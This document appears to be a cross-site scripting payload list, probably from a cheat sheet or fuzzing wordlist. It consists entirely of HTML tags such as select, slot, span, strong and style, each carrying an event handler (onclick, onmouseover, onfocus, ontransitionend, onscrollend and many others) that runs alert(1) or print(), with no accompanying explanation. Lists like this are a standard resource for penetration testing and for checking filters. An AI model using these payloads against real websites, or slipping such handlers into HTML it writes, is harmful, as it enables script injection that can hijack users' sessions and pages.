<select draggable="true" ondragleave="alert(1)" style=display:block>test</select>
<select draggable="true" ondragstart="alert(1)" style=display:block>test</select>
<select id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></select>
<select onafterscriptexecute=alert(1)><script>1</script>
<select onbeforecopy="alert(1)" contenteditable>test</select>
<select onbeforecut="alert(1)" contenteditable>test</select>
<select onbeforescriptexecute=alert(1)><script>1</script>
<select onblur=alert(1) id=x tabindex=1 style=display:block>test</select><input value=clickme>
<select onchange=alert(1)><option>change me</option><option>XSS</option></select>
<select onclick="alert(1)" style=display:block>test</select>
<select oncontextmenu="alert(1)" style=display:block>test</select>
<select oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<select oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<select ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</select>
<select onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</select><input value=clickme>
<select onkeydown="alert(1)" contenteditable style=display:block>test</select>
<select onkeypress="alert(1)" contenteditable style=display:block>test</select>
<select onkeyup="alert(1)" contenteditable style=display:block>test</select>
<select onmousedown="alert(1)" style=display:block>test</select>
<select onmouseenter="alert(1)" style=display:block>test</select>
<select onmouseleave="alert(1)" style=display:block>test</select>
<select onmousemove="alert(1)" style=display:block>test</select>
<select onmouseout="alert(1)" style=display:block>test</select>
<select onmouseover="alert(1)" style=display:block>test</select>
<select onmouseup="alert(1)" style=display:block>test</select>
<select onmousewheel=alert(1) style=display:block>requires scrolling
<select onpaste="alert(1)" contenteditable>test</select>
<select onpointerdown=alert(1) style=display:block>XSS</select>
<select onpointerenter=alert(1) style=display:block>XSS</select>
<select onpointerleave=alert(1) style=display:block>XSS</select>
<select onpointermove=alert(1) style=display:block>XSS</select>
<select onpointerout=alert(1) style=display:block>XSS</select>
<select onpointerover=alert(1) style=display:block>XSS</select>
<select onpointerrawupdate=alert(1) style=display:block>XSS</select>
<select onpointerup=alert(1) style=display:block>XSS</select>
<select onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></select>
<set contenteditable onbeforeinput=alert(1)>test
<set draggable="true" ondrag="alert(1)" style=display:block>test</set>
<set draggable="true" ondragend="alert(1)" style=display:block>test</set>
<set draggable="true" ondragenter="alert(1)" style=display:block>test</set>
<set draggable="true" ondragleave="alert(1)" style=display:block>test</set>
<set draggable="true" ondragstart="alert(1)" style=display:block>test</set>
<set id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></set>
<set onafterscriptexecute=alert(1)><script>1</script>
<set onbeforescriptexecute=alert(1)><script>1</script>
<set onblur=alert(1) id=x tabindex=1 style=display:block>test</set><input value=clickme>
<set onclick="alert(1)" style=display:block>test</set>
<set oncontextmenu="alert(1)" style=display:block>test</set>
<set oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<set oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<set ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</set>
<set onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</set><input value=clickme>
<set onkeydown="alert(1)" contenteditable style=display:block>test</set>
<set onkeypress="alert(1)" contenteditable style=display:block>test</set>
<set onkeyup="alert(1)" contenteditable style=display:block>test</set>
<set onmousedown="alert(1)" style=display:block>test</set>
<set onmouseenter="alert(1)" style=display:block>test</set>
<set onmouseleave="alert(1)" style=display:block>test</set>
<set onmousemove="alert(1)" style=display:block>test</set>
<set onmouseout="alert(1)" style=display:block>test</set>
<set onmouseover="alert(1)" style=display:block>test</set>
<set onmouseup="alert(1)" style=display:block>test</set>
<set onmousewheel=alert(1) style=display:block>requires scrolling
<set onpointerdown=alert(1) style=display:block>XSS</set>
<set onpointerenter=alert(1) style=display:block>XSS</set>
<set onpointerleave=alert(1) style=display:block>XSS</set>
<set onpointermove=alert(1) style=display:block>XSS</set>
<set onpointerout=alert(1) style=display:block>XSS</set>
<set onpointerover=alert(1) style=display:block>XSS</set>
<set onpointerrawupdate=alert(1) style=display:block>XSS</set>
<set onpointerup=alert(1) style=display:block>XSS</set>
<set onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></set>
<shadow contenteditable onbeforeinput=alert(1)>test
<shadow draggable="true" ondrag="alert(1)" style=display:block>test</shadow>
<shadow draggable="true" ondragend="alert(1)" style=display:block>test</shadow>
<shadow draggable="true" ondragenter="alert(1)" style=display:block>test</shadow>
<shadow draggable="true" ondragleave="alert(1)" style=display:block>test</shadow>
<shadow draggable="true" ondragstart="alert(1)" style=display:block>test</shadow>
<shadow id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></shadow>
<shadow id=x tabindex=1 onfocus=alert(1)></shadow>
<shadow id=x tabindex=1 onfocusin=alert(1)></shadow>
<shadow onafterscriptexecute=alert(1)><script>1</script>
<shadow onbeforecopy="alert(1)" contenteditable>test</shadow>
<shadow onbeforecut="alert(1)" contenteditable>test</shadow>
<shadow onbeforescriptexecute=alert(1)><script>1</script>
<shadow onblur=alert(1) id=x tabindex=1 style=display:block>test</shadow><input value=clickme>
<shadow onclick="alert(1)" style=display:block>test</shadow>
<shadow oncontextmenu="alert(1)" style=display:block>test</shadow>
<shadow oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<shadow oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<shadow ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</shadow>
<shadow onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</shadow><input value=clickme>
<shadow onkeydown="alert(1)" contenteditable style=display:block>test</shadow>
<shadow onkeypress="alert(1)" contenteditable style=display:block>test</shadow>
<shadow onkeyup="alert(1)" contenteditable style=display:block>test</shadow>
<shadow onmousedown="alert(1)" style=display:block>test</shadow>
<shadow onmouseenter="alert(1)" style=display:block>test</shadow>
<shadow onmouseleave="alert(1)" style=display:block>test</shadow>
<shadow onmousemove="alert(1)" style=display:block>test</shadow>
<shadow onmouseout="alert(1)" style=display:block>test</shadow>
<shadow onmouseover="alert(1)" style=display:block>test</shadow>
<shadow onmouseup="alert(1)" style=display:block>test</shadow>
<shadow onmousewheel=alert(1) style=display:block>requires scrolling
<shadow onpaste="alert(1)" contenteditable>test</shadow>
<shadow onpointerdown=alert(1) style=display:block>XSS</shadow>
<shadow onpointerenter=alert(1) style=display:block>XSS</shadow>
<shadow onpointerleave=alert(1) style=display:block>XSS</shadow>
<shadow onpointermove=alert(1) style=display:block>XSS</shadow>
<shadow onpointerout=alert(1) style=display:block>XSS</shadow>
<shadow onpointerover=alert(1) style=display:block>XSS</shadow>
<shadow onpointerrawupdate=alert(1) style=display:block>XSS</shadow>
<shadow onpointerup=alert(1) style=display:block>XSS</shadow>
<shadow onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></shadow>
<slot contenteditable onbeforeinput=alert(1)>test
<slot draggable="true" ondrag="alert(1)" style=display:block>test</slot>
<slot draggable="true" ondragend="alert(1)" style=display:block>test</slot>
<slot draggable="true" ondragenter="alert(1)" style=display:block>test</slot>
<slot draggable="true" ondragleave="alert(1)" style=display:block>test</slot>
<slot draggable="true" ondragstart="alert(1)" style=display:block>test</slot>
<slot id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></slot>
<slot id=x tabindex=1 onfocus=alert(1)></slot>
<slot id=x tabindex=1 onfocusin=alert(1)></slot>
<slot onafterscriptexecute=alert(1)><script>1</script>
<slot onbeforecopy="alert(1)" contenteditable>test</slot>
<slot onbeforecut="alert(1)" contenteditable>test</slot>
<slot onbeforescriptexecute=alert(1)><script>1</script>
<slot onblur=alert(1) id=x tabindex=1 style=display:block>test</slot><input value=clickme>
<slot onclick="alert(1)" style=display:block>test</slot>
<slot oncontextmenu="alert(1)" style=display:block>test</slot>
<slot oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<slot oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<slot ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</slot>
<slot onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</slot><input value=clickme>
<slot onkeydown="alert(1)" contenteditable style=display:block>test</slot>
<slot onkeypress="alert(1)" contenteditable style=display:block>test</slot>
<slot onkeyup="alert(1)" contenteditable style=display:block>test</slot>
<slot onmousedown="alert(1)" style=display:block>test</slot>
<slot onmouseenter="alert(1)" style=display:block>test</slot>
<slot onmouseleave="alert(1)" style=display:block>test</slot>
<slot onmousemove="alert(1)" style=display:block>test</slot>
<slot onmouseout="alert(1)" style=display:block>test</slot>
<slot onmouseover="alert(1)" style=display:block>test</slot>
<slot onmouseup="alert(1)" style=display:block>test</slot>
<slot onmousewheel=alert(1) style=display:block>requires scrolling
<slot onpaste="alert(1)" contenteditable>test</slot>
<slot onpointerdown=alert(1) style=display:block>XSS</slot>
<slot onpointerenter=alert(1) style=display:block>XSS</slot>
<slot onpointerleave=alert(1) style=display:block>XSS</slot>
<slot onpointermove=alert(1) style=display:block>XSS</slot>
<slot onpointerout=alert(1) style=display:block>XSS</slot>
<slot onpointerover=alert(1) style=display:block>XSS</slot>
<slot onpointerrawupdate=alert(1) style=display:block>XSS</slot>
<slot onpointerup=alert(1) style=display:block>XSS</slot>
<slot onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></slot>
<small contenteditable onbeforeinput=alert(1)>test
<small draggable="true" ondrag="alert(1)" style=display:block>test</small>
<small draggable="true" ondragend="alert(1)" style=display:block>test</small>
<small draggable="true" ondragenter="alert(1)" style=display:block>test</small>
<small draggable="true" ondragleave="alert(1)" style=display:block>test</small>
<small draggable="true" ondragstart="alert(1)" style=display:block>test</small>
<small id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></small>
<small id=x tabindex=1 onfocus=alert(1)></small>
<small id=x tabindex=1 onfocusin=alert(1)></small>
<small onafterscriptexecute=alert(1)><script>1</script>
<small onbeforecopy="alert(1)" contenteditable>test</small>
<small onbeforecut="alert(1)" contenteditable>test</small>
<small onbeforescriptexecute=alert(1)><script>1</script>
<small onblur=alert(1) id=x tabindex=1 style=display:block>test</small><input value=clickme>
<small onclick="alert(1)" style=display:block>test</small>
<small oncontextmenu="alert(1)" style=display:block>test</small>
<small oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<small oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<small ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</small>
<small onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</small><input value=clickme>
<small onkeydown="alert(1)" contenteditable style=display:block>test</small>
<small onkeypress="alert(1)" contenteditable style=display:block>test</small>
<small onkeyup="alert(1)" contenteditable style=display:block>test</small>
<small onmousedown="alert(1)" style=display:block>test</small>
<small onmouseenter="alert(1)" style=display:block>test</small>
<small onmouseleave="alert(1)" style=display:block>test</small>
<small onmousemove="alert(1)" style=display:block>test</small>
<small onmouseout="alert(1)" style=display:block>test</small>
<small onmouseover="alert(1)" style=display:block>test</small>
<small onmouseup="alert(1)" style=display:block>test</small>
<small onmousewheel=alert(1) style=display:block>requires scrolling
<small onpaste="alert(1)" contenteditable>test</small>
<small onpointerdown=alert(1) style=display:block>XSS</small>
<small onpointerenter=alert(1) style=display:block>XSS</small>
<small onpointerleave=alert(1) style=display:block>XSS</small>
<small onpointermove=alert(1) style=display:block>XSS</small>
<small onpointerout=alert(1) style=display:block>XSS</small>
<small onpointerover=alert(1) style=display:block>XSS</small>
<small onpointerrawupdate=alert(1) style=display:block>XSS</small>
<small onpointerup=alert(1) style=display:block>XSS</small>
<small onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></small>
<source contenteditable onbeforeinput=alert(1)>test
<source draggable="true" ondrag="alert(1)" style=display:block>test</source>
<source draggable="true" ondragend="alert(1)" style=display:block>test</source>
<source draggable="true" ondragenter="alert(1)" style=display:block>test</source>
<source draggable="true" ondragleave="alert(1)" style=display:block>test</source>
<source draggable="true" ondragstart="alert(1)" style=display:block>test</source>
<source id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></source>
<source id=x tabindex=1 onfocus=alert(1)></source>
<source id=x tabindex=1 onfocusin=alert(1)></source>
<source onafterscriptexecute=alert(1)><script>1</script>
<source onbeforecopy="alert(1)" contenteditable>test</source>
<source onbeforecut="alert(1)" contenteditable>test</source>
<source onbeforescriptexecute=alert(1)><script>1</script>
<source onblur=alert(1) id=x tabindex=1 style=display:block>test</source><input value=clickme>
<source onclick="alert(1)" style=display:block>test</source>
<source oncontextmenu="alert(1)" style=display:block>test</source>
<source oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<source oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<source ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</source>
<source onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</source><input value=clickme>
<source onkeydown="alert(1)" contenteditable style=display:block>test</source>
<source onkeypress="alert(1)" contenteditable style=display:block>test</source>
<source onkeyup="alert(1)" contenteditable style=display:block>test</source>
<source onmousedown="alert(1)" style=display:block>test</source>
<source onmouseenter="alert(1)" style=display:block>test</source>
<source onmouseleave="alert(1)" style=display:block>test</source>
<source onmousemove="alert(1)" style=display:block>test</source>
<source onmouseout="alert(1)" style=display:block>test</source>
<source onmouseover="alert(1)" style=display:block>test</source>
<source onmouseup="alert(1)" style=display:block>test</source>
<source onmousewheel=alert(1) style=display:block>requires scrolling
<source onpaste="alert(1)" contenteditable>test</source>
<source onpointerdown=alert(1) style=display:block>XSS</source>
<source onpointerenter=alert(1) style=display:block>XSS</source>
<source onpointerleave=alert(1) style=display:block>XSS</source>
<source onpointermove=alert(1) style=display:block>XSS</source>
<source onpointerout=alert(1) style=display:block>XSS</source>
<source onpointerover=alert(1) style=display:block>XSS</source>
<source onpointerrawupdate=alert(1) style=display:block>XSS</source>
<source onpointerup=alert(1) style=display:block>XSS</source>
<source onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></source>
<spacer contenteditable onbeforeinput=alert(1)>test
<spacer draggable="true" ondrag="alert(1)" style=display:block>test</spacer>
<spacer draggable="true" ondragend="alert(1)" style=display:block>test</spacer>
<spacer draggable="true" ondragenter="alert(1)" style=display:block>test</spacer>
<spacer draggable="true" ondragleave="alert(1)" style=display:block>test</spacer>
<spacer draggable="true" ondragstart="alert(1)" style=display:block>test</spacer>
<spacer id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></spacer>
<spacer id=x tabindex=1 onfocus=alert(1)></spacer>
<spacer id=x tabindex=1 onfocusin=alert(1)></spacer>
<spacer onafterscriptexecute=alert(1)><script>1</script>
<spacer onbeforecopy="alert(1)" contenteditable>test</spacer>
<spacer onbeforecut="alert(1)" contenteditable>test</spacer>
<spacer onbeforescriptexecute=alert(1)><script>1</script>
<spacer onblur=alert(1) id=x tabindex=1 style=display:block>test</spacer><input value=clickme>
<spacer onclick="alert(1)" style=display:block>test</spacer>
<spacer oncontextmenu="alert(1)" style=display:block>test</spacer>
<spacer oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<spacer oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<spacer ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</spacer>
<spacer onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</spacer><input value=clickme>
<spacer onkeydown="alert(1)" contenteditable style=display:block>test</spacer>
<spacer onkeypress="alert(1)" contenteditable style=display:block>test</spacer>
<spacer onkeyup="alert(1)" contenteditable style=display:block>test</spacer>
<spacer onmousedown="alert(1)" style=display:block>test</spacer>
<spacer onmouseenter="alert(1)" style=display:block>test</spacer>
<spacer onmouseleave="alert(1)" style=display:block>test</spacer>
<spacer onmousemove="alert(1)" style=display:block>test</spacer>
<spacer onmouseout="alert(1)" style=display:block>test</spacer>
<spacer onmouseover="alert(1)" style=display:block>test</spacer>
<spacer onmouseup="alert(1)" style=display:block>test</spacer>
<spacer onmousewheel=alert(1) style=display:block>requires scrolling
<spacer onpaste="alert(1)" contenteditable>test</spacer>
<spacer onpointerdown=alert(1) style=display:block>XSS</spacer>
<spacer onpointerenter=alert(1) style=display:block>XSS</spacer>
<spacer onpointerleave=alert(1) style=display:block>XSS</spacer>
<spacer onpointermove=alert(1) style=display:block>XSS</spacer>
<spacer onpointerout=alert(1) style=display:block>XSS</spacer>
<spacer onpointerover=alert(1) style=display:block>XSS</spacer>
<spacer onpointerrawupdate=alert(1) style=display:block>XSS</spacer>
<spacer onpointerup=alert(1) style=display:block>XSS</spacer>
<spacer onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></spacer>
<span contenteditable onbeforeinput=alert(1)>test
<span draggable="true" ondrag="alert(1)" style=display:block>test</span>
<span draggable="true" ondragend="alert(1)" style=display:block>test</span>
<span draggable="true" ondragenter="alert(1)" style=display:block>test</span>
<span draggable="true" ondragleave="alert(1)" style=display:block>test</span>
<span draggable="true" ondragstart="alert(1)" style=display:block>test</span>
<span id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></span>
<span id=x tabindex=1 onfocus=alert(1)></span>
<span id=x tabindex=1 onfocusin=alert(1)></span>
<span onafterscriptexecute=alert(1)><script>1</script>
<span onbeforecopy="alert(1)" contenteditable>test</span>
<span onbeforecut="alert(1)" contenteditable>test</span>
<span onbeforescriptexecute=alert(1)><script>1</script>
<span onblur=alert(1) id=x tabindex=1 style=display:block>test</span><input value=clickme>
<span onclick="alert(1)" style=display:block>test</span>
<span oncontextmenu="alert(1)" style=display:block>test</span>
<span oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<span oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<span ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</span>
<span onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</span><input value=clickme>
<span onkeydown="alert(1)" contenteditable style=display:block>test</span>
<span onkeypress="alert(1)" contenteditable style=display:block>test</span>
<span onkeyup="alert(1)" contenteditable style=display:block>test</span>
<span onmousedown="alert(1)" style=display:block>test</span>
<span onmouseenter="alert(1)" style=display:block>test</span>
<span onmouseleave="alert(1)" style=display:block>test</span>
<span onmousemove="alert(1)" style=display:block>test</span>
<span onmouseout="alert(1)" style=display:block>test</span>
<span onmouseover="alert(1)" style=display:block>test</span>
<span onmouseup="alert(1)" style=display:block>test</span>
<span onmousewheel=alert(1) style=display:block>requires scrolling
<span onpaste="alert(1)" contenteditable>test</span>
<span onpointerdown=alert(1) style=display:block>XSS</span>
<span onpointerenter=alert(1) style=display:block>XSS</span>
<span onpointerleave=alert(1) style=display:block>XSS</span>
<span onpointermove=alert(1) style=display:block>XSS</span>
<span onpointerout=alert(1) style=display:block>XSS</span>
<span onpointerover=alert(1) style=display:block>XSS</span>
<span onpointerrawupdate=alert(1) style=display:block>XSS</span>
<span onpointerup=alert(1) style=display:block>XSS</span>
<span onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></span>
<strike contenteditable onbeforeinput=alert(1)>test
<strike draggable="true" ondrag="alert(1)" style=display:block>test</strike>
<strike draggable="true" ondragend="alert(1)" style=display:block>test</strike>
<strike draggable="true" ondragenter="alert(1)" style=display:block>test</strike>
<strike draggable="true" ondragleave="alert(1)" style=display:block>test</strike>
<strike draggable="true" ondragstart="alert(1)" style=display:block>test</strike>
<strike id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></strike>
<strike id=x tabindex=1 onfocus=alert(1)></strike>
<strike id=x tabindex=1 onfocusin=alert(1)></strike>
<strike onafterscriptexecute=alert(1)><script>1</script>
<strike onbeforecopy="alert(1)" contenteditable>test</strike>
<strike onbeforecut="alert(1)" contenteditable>test</strike>
<strike onbeforescriptexecute=alert(1)><script>1</script>
<strike onblur=alert(1) id=x tabindex=1 style=display:block>test</strike><input value=clickme>
<strike onclick="alert(1)" style=display:block>test</strike>
<strike oncontextmenu="alert(1)" style=display:block>test</strike>
<strike oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<strike oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<strike ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</strike>
<strike onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</strike><input value=clickme>
<strike onkeydown="alert(1)" contenteditable style=display:block>test</strike>
<strike onkeypress="alert(1)" contenteditable style=display:block>test</strike>
<strike onkeyup="alert(1)" contenteditable style=display:block>test</strike>
<strike onmousedown="alert(1)" style=display:block>test</strike>
<strike onmouseenter="alert(1)" style=display:block>test</strike>
<strike onmouseleave="alert(1)" style=display:block>test</strike>
<strike onmousemove="alert(1)" style=display:block>test</strike>
<strike onmouseout="alert(1)" style=display:block>test</strike>
<strike onmouseover="alert(1)" style=display:block>test</strike>
<strike onmouseup="alert(1)" style=display:block>test</strike>
<strike onmousewheel=alert(1) style=display:block>requires scrolling
<strike onpaste="alert(1)" contenteditable>test</strike>
<strike onpointerdown=alert(1) style=display:block>XSS</strike>
<strike onpointerenter=alert(1) style=display:block>XSS</strike>
<strike onpointerleave=alert(1) style=display:block>XSS</strike>
<strike onpointermove=alert(1) style=display:block>XSS</strike>
<strike onpointerout=alert(1) style=display:block>XSS</strike>
<strike onpointerover=alert(1) style=display:block>XSS</strike>
<strike onpointerrawupdate=alert(1) style=display:block>XSS</strike>
<strike onpointerup=alert(1) style=display:block>XSS</strike>
<strike onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></strike>
<strong contenteditable onbeforeinput=alert(1)>test
<strong draggable="true" ondrag="alert(1)" style=display:block>test</strong>
<strong draggable="true" ondragend="alert(1)" style=display:block>test</strong>
<strong draggable="true" ondragenter="alert(1)" style=display:block>test</strong>
<strong draggable="true" ondragleave="alert(1)" style=display:block>test</strong>
<strong draggable="true" ondragstart="alert(1)" style=display:block>test</strong>
<strong id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></strong>
<strong id=x tabindex=1 onfocus=alert(1)></strong>
<strong id=x tabindex=1 onfocusin=alert(1)></strong>
<strong onafterscriptexecute=alert(1)><script>1</script>
<strong onbeforecopy="alert(1)" contenteditable>test</strong>
<strong onbeforecut="alert(1)" contenteditable>test</strong>
<strong onbeforescriptexecute=alert(1)><script>1</script>
<strong onblur=alert(1) id=x tabindex=1 style=display:block>test</strong><input value=clickme>
<strong onclick="alert(1)" style=display:block>test</strong>
<strong oncontextmenu="alert(1)" style=display:block>test</strong>
<strong oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<strong oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<strong ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</strong>
<strong onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</strong><input value=clickme>
<strong onkeydown="alert(1)" contenteditable style=display:block>test</strong>
<strong onkeypress="alert(1)" contenteditable style=display:block>test</strong>
<strong onkeyup="alert(1)" contenteditable style=display:block>test</strong>
<strong onmousedown="alert(1)" style=display:block>test</strong>
<strong onmouseenter="alert(1)" style=display:block>test</strong>
<strong onmouseleave="alert(1)" style=display:block>test</strong>
<strong onmousemove="alert(1)" style=display:block>test</strong>
<strong onmouseout="alert(1)" style=display:block>test</strong>
<strong onmouseover="alert(1)" style=display:block>test</strong>
<strong onmouseup="alert(1)" style=display:block>test</strong>
<strong onmousewheel=alert(1) style=display:block>requires scrolling
<strong onpaste="alert(1)" contenteditable>test</strong>
<strong onpointerdown=alert(1) style=display:block>XSS</strong>
<strong onpointerenter=alert(1) style=display:block>XSS</strong>
<strong onpointerleave=alert(1) style=display:block>XSS</strong>
<strong onpointermove=alert(1) style=display:block>XSS</strong>
<strong onpointerout=alert(1) style=display:block>XSS</strong>
<strong onpointerover=alert(1) style=display:block>XSS</strong>
<strong onpointerrawupdate=alert(1) style=display:block>XSS</strong>
<strong onpointerup=alert(1) style=display:block>XSS</strong>
<strong onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></strong>
<style contenteditable onbeforeinput=alert(1)>test
<style draggable="true" ondrag="alert(1)" style=display:block>test</style>
<style draggable="true" ondragend="alert(1)" style=display:block>test</style>
<style draggable="true" ondragenter="alert(1)" style=display:block>test</style>
<style draggable="true" ondragleave="alert(1)" style=display:block>test</style>
<style draggable="true" ondragstart="alert(1)" style=display:block>test</style>
<style id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></style>
<style id=x tabindex=1 onfocus=alert(1) style=display:block></style>
<style id=x tabindex=1 onfocusin=alert(1) style=display:block></style>
<style onafterscriptexecute=alert(1)><script>1</script>
<style onbeforecopy="alert(1)" contenteditable style=display:block>test</style>
<style onbeforecut="alert(1)" contenteditable style=display:block>test</style>
<style onbeforescriptexecute=alert(1)><script>1</script>
<style onblur=alert(1) id=x tabindex=1 style=display:block>test</style><input value=clickme>
<style onclick="alert(1)" style=display:block>test</style>
<style oncontextmenu="alert(1)" style=display:block>test</style>
<style oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<style oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<style ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</style>
<style onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</style><input value=clickme>
<style onkeydown="alert(1)" contenteditable style=display:block>test</style>
<style onkeypress="alert(1)" contenteditable style=display:block>test</style>
<style onkeyup="alert(1)" contenteditable style=display:block>test</style>
<style onload=alert(1)></style>
<style onmousedown="alert(1)" style=display:block>test</style>
<style onmouseenter="alert(1)" style=display:block>test</style>
<style onmouseleave="alert(1)" style=display:block>test</style>
<style onmousemove="alert(1)" style=display:block>test</style>
<style onmouseout="alert(1)" style=display:block>test</style>
<style onmouseover="alert(1)" style=display:block>test</style>
<style onmouseup="alert(1)" style=display:block>test</style>
<style onmousewheel=alert(1) style=display:block>requires scrolling
<style onpaste="alert(1)" contenteditable style=display:block style=display:block>test</style>
<style onpointerdown=alert(1) style=display:block>XSS</style>
<style onpointerenter=alert(1) style=display:block>XSS</style>
<style onpointerleave=alert(1) style=display:block>XSS</style>
<style onpointermove=alert(1) style=display:block>XSS</style>
<style onpointerout=alert(1) style=display:block>XSS</style>
<style onpointerover=alert(1) style=display:block>XSS</style>
<style onpointerrawupdate=alert(1) style=display:block>XSS</style>
<style onpointerup=alert(1) style=display:block>XSS</style>
<style onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></style>
<style>:target {color: red;}</style><a id=x style="transition:color 10s" ontransitioncancel=print()></a>
<style>:target {color: red;}</style><a2 id=x style="transition:color 10s" ontransitioncancel=print()></a2>
<style>:target {color: red;}</style><abbr id=x style="transition:color 10s" ontransitioncancel=print()></abbr>
<style>:target {color: red;}</style><acronym id=x style="transition:color 10s" ontransitioncancel=print()></acronym>
<style>:target {color: red;}</style><address id=x style="transition:color 10s" ontransitioncancel=print()></address>
<style>:target {color: red;}</style><animate id=x style="transition:color 10s" ontransitioncancel=print()></animate>
<style>:target {color: red;}</style><animatemotion id=x style="transition:color 10s" ontransitioncancel=print()></animatemotion>
<style>:target {color: red;}</style><animatetransform id=x style="transition:color 10s" ontransitioncancel=print()></animatetransform>
<style>:target {color: red;}</style><applet id=x style="transition:color 10s" ontransitioncancel=print()></applet>
<style>:target {color: red;}</style><area id=x style="transition:color 10s" ontransitioncancel=print()></area>
<style>:target {color: red;}</style><article id=x style="transition:color 10s" ontransitioncancel=print()></article>
<style>:target {color: red;}</style><aside id=x style="transition:color 10s" ontransitioncancel=print()></aside>
<style>:target {color: red;}</style><audio id=x style="transition:color 10s" ontransitioncancel=print()></audio>
<style>:target {color: red;}</style><audio2 id=x style="transition:color 10s" ontransitioncancel=print()></audio2>
<style>:target {color: red;}</style><b id=x style="transition:color 10s" ontransitioncancel=print()></b>
